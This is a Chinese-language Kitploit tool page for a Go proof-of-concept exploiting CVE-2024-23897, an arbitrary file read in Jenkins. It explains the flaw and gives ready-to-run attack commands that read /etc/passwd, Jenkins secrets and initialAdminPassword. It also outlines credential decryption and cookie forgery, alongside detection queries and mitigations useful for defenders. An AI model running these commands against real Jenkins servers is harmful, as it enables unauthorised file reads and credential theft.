Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
poc-CVE-2024-23897 — CVE-2024-23897: Jenkins 任意文件读取导致远程代码执行 | Kitploit
工具/GitHubGitHub/vmc8ll/poc-cve-2024-23897
漏洞分析漏洞利用Web应用程序漏洞利用信息收集渗透测试红队Payload 开发
GitHubvmc8ll/poc-cve-2024-23897

poc-CVE-2024-23897

CVE-2024-23897: Jenkins 任意文件读取导致远程代码执行

查看仓库
26个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

poc-CVE-2024-23897

CVE-2024-23897: Jenkins 任意文件读取导致远程代码执行 🎯 受影响的产品和版本

root@kitploit:~
产品:Jenkins(持续集成/持续交付服务器)

版本:Jenkins 2.441 及更早版本,Jenkins LTS 2.426.2 及更早版本

修复版本:Jenkins 2.442,Jenkins LTS 2.426.3

📝 描述

CVE-2024-23897 是 Jenkins 中的一个严重漏洞,允许未经身份验证的攻击者读取 Jenkins 控制器文件系统上的任意文件。该漏洞存在是因为 Jenkins 未禁用其 CLI 命令解析器的一个功能,该功能会用文件内容替换 '@' 字符后跟的文件路径。

此缺陷与其他技术结合时可能导致远程代码执行(RCE),对于在 CI/CD 流水线中使用 Jenkins 的组织尤其危险。 🔍 漏洞详情 根本原因

该漏洞源于 org.kohsuke.args4j.CmdLineParser 类中的 expandAtFiles() 函数。在解析 CLI 参数时,如果解析器遇到 '@' 符号后跟文件路径,它会读取并展开该文件的内容。 攻击向量

攻击者可以利用 Jenkins CLI 接口在无需身份验证的情况下利用此漏洞: bash

java -jar jenkins-cli.jar -s http://target-jenkins-server:8080/ help @/etc/passwd

技术分析 文件读取限制

root@kitploit:~
未经身份验证:只能读取文件的前 3 行(取决于 CLI 命令)

具有 'Overall/Read' 权限:可以读取完整文件内容

二进制文件:可以提取但可能受编码问题影响(Windows 上的 Windows-1252 比 Linux 上的 UTF-8 产生更好的结果)

攻击面扩展

一旦实现文件读取,攻击者可以升级到更严重的攻击:

root@kitploit:~
提取凭据:

    读取 /var/jenkins_home/credentials.xml 获取加密凭据

    读取 /var/jenkins_home/secrets/master.key 和 hudson.util.Secret 用于解密

    使用 Jenkins 脚本控制台解密凭据:println(Hudson.util.Secret.fromString("{XXX=}").getPlainText())

伪造 "Remember-me" Cookie:

    通过伪造身份验证 Cookie 获取管理权限

执行任意代码:

    通过资源根 URL、XSS 或 CSRF 向量实现 RCE

💥 影响 直接影响

root@kitploit:~
机密性:完全披露 Jenkins 服务器上的所有文件(源代码、凭据、SSH 密钥、令牌)

完整性:攻击者可以修改构建、流水线和配置

可用性:可能导致拒绝服务或勒索软件部署

实际利用

该漏洞已在野外被积极利用:

root@kitploit:~
已加入 CISA 已知利用漏洞(KEV)目录

被勒索软件团伙(RansomEXX)用于破坏基础设施

被威胁行为者 IntelBroker 利用来窃取 GitHub 仓库并破坏 IT 服务提供商

🔧 检测 入侵指标

成功的利用尝试可以通过以下方式检测:

HTTP 请求模式: text

POST /cli?remoting=false HTTP/1.1 Content-type: application/octet-stream [binary payload containing @/path/to/file]

典型 Payload 示例:

root@kitploit:~
@/etc/passwd

@/var/jenkins_home/secrets/initialAdminPassword

@/etc/os-release

Splunk 检测查询 text

index=web uri="/cli?remoting=false" http_method=POST http_status=200

🛡️ 缓解措施 官方修复

升级到修补版本:

root@kitploit:~
Jenkins ≥ 2.442

Jenkins LTS ≥ 2.426.3

临时缓解措施

如果无法立即修补:

root@kitploit:~
禁用 Jenkins CLI 访问

设置 Java 系统属性:hudson.cli.CLICommand.allowAtSyntax=false

限制对 Jenkins 管理界面的网络访问

实施 WAF 规则以阻止包含 @/ 模式的请求

🔗 参考资料

root@kitploit:~
NVD 条目

Jenkins 安全公告

CISA KEV 目录

Splunk 研究

Tenable CVE 页面 
📦 构建与运行

bash

Build the exploit

go build -o jenkins-cve-2024-23897 exploit.go

Run the exploit

./jenkins-cve-2024-23897 http://target-jenkins:8080 /etc/passwd

Run with Go directly

go run exploit.go http://target-jenkins:8080 /etc/passwd

🎯 使用示例 bash

Read sensitive files

./jenkins-cve-2024-23897 http://jenkins.internal:8080 /etc/passwd ./jenkins-cve-2024-23897 http://localhost:8080 /var/jenkins_home/secrets/initialAdminPassword

Read Windows file (if Jenkins runs on Windows)

./jenkins-cve-2024-23897 http://win-jenkins:8080 C:/Windows/win.ini

⚙️ 工作原理

root@kitploit:~
会话初始化:生成唯一的 20 字节会话 ID

Payload 构建:使用 help @/path/to/file 结构构建二进制 Payload

上传阶段:将 Payload 发送到 Jenkins CLI 端点

下载阶段:从响应中检索文件内容

输出:显示文件内容或错误消息

📊 特性

root@kitploit:~
纯 Go 实现 - 无外部依赖

跨平台 - 可在 Windows、Linux、macOS 上运行

可配置超时 - 适用于慢速网络的可调整

清晰的错误处理 - 详细的错误消息

二进制安全 - 处理文本和二进制文件

⚠️ 重要说明

root@kitploit:~
仅供教育目的 - 仅在您拥有或有权测试的系统上使用

未经身份验证读取 - 未经身份验证时,只能读取前约 3 行

二进制文件 - 可能受编码问题影响(使用 Windows 目标可获得更好的二进制提取效果)
下载工具